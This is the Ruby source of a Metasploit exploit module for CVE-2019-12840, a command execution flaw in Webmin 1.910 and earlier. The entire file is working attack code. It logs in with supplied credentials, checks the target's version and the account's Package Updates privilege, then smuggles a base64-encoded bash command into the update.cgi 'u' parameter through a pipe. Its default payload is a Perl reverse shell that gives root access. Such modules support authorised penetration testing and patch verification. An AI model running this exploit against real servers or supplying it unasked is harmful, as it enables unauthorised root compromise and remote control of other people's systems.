Webmin Package Updates Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Webmin Package Updates Remote Command Execution',
      'Description'    => %q(
        This module exploits an arbitrary command execution vulnerability in Webmin
        1.910 and lower versions. Any user authorized to the "Package Updates"
        module can execute arbitrary commands with root privileges.
      ),
      'Author'         => [
        'AkkuS <Özkan Mustafa Akkuş>' # Vulnerability Discovery, MSF PoC module
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2019-12840'],
          ['URL', 'https://www.pentest.com.tr/exploits/Webmin-1910-Package-Updates-Remote-Command-Execution.html']
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 512,
          'Compat'      =>
            {
              'PayloadType' => 'cmd'
            }
        },
      'DefaultOptions' =>
        {
          'RPORT' => 10000,
          'SSL'   => false,
          'PAYLOAD' => 'cmd/unix/reverse_perl'
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Webmin <= 1.910', {}]],
      'DisclosureDate' => '2019-05-16',
      'DefaultTarget'  => 0)
    )
    register_options [
        OptString.new('USERNAME',  [true, 'Webmin Username']),
        OptString.new('PASSWORD',  [true, 'Webmin Password']),
        OptString.new('TARGETURI',  [true, 'Base path for Webmin application', '/'])
    ]
  end

  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end

  def login
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'session_login.cgi'),
      'cookie' => 'testing=1', # it must be used for "Error - No cookies"
      'vars_post' => {
        'page' => '',
        'user' => datastore['USERNAME'],
        'pass' => datastore['PASSWORD']
      }
    })

    if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/
      return $1
    end

    return nil unless res
    ''
  end

  def check
    cookie = login
    return CheckCode::Detected if cookie == ''
    return CheckCode::Unknown if cookie.nil?

    vprint_status('Attempting to execute...')
    # check version
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, "sysinfo.cgi"),
      'cookie'  => "sid=#{cookie}",
      'vars_get' => { "xnavigation" => "1" }
    })

    if res && res.code == 302 && res.body
      version = res.body.split("- Webmin 1.")[1]
      return CheckCode::Detected if version.nil?
      version = version.split(" ")[0]
      if version <= "910"
        # check package update priv
        res = send_request_cgi({
          'uri'     => normalize_uri(target_uri.path, "package-updates/"),
          'cookie'  => "sid=#{cookie}"
        })

        if res && res.code == 200 && res.body =~ /Software Package Update/
          print_status("NICE! #{datastore['USERNAME']} has the right to >>Package Update<<")
          return CheckCode::Vulnerable
        end
      end
    end
    print_error("#{datastore['USERNAME']} doesn't have the right to >>Package Update<<")
    print_status("Please try with another user account!")
    CheckCode::Safe
  end

  def exploit
    cookie = login
    if cookie == '' || cookie.nil?
      fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
    end
    print_good("Session cookie: #{cookie}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'),
      'headers' => { 'Referer' => "#{peer}/sysinfo.cgi?xnavigation=1" },
      'cookie' => "sid=#{cookie}"
    )
    unless res && res.code == 200
      fail_with(Failure::Unknown, 'Request failed')
    end

    print_status("Attempting to execute the payload...")
    run_update(cookie)
  end

  def run_update(cookie)
    @b64p = Rex::Text.encode_base64(payload.encoded)
    perl_payload = 'bash -c "{echo,' + "#{@b64p}" + '}|{base64,-d}|{bash,-i}"'
    payload = Rex::Text.uri_encode(perl_payload)

    res = send_request_cgi(
      {
        'method' => 'POST',
        'cookie' => "sid=#{cookie}",
        'ctype'  => 'application/x-www-form-urlencoded',
        'uri' => normalize_uri(target_uri.path, 'package-updates', 'update.cgi'),
        'headers' =>
          {
            'Referer' => "#{peer}/package-updates/?xnavigation=1"
          },
        'data' => "u=acl%2Fapt&u=%20%7C%20#{payload}&ok_top=Update+Selected+Packages"
      })
  end
end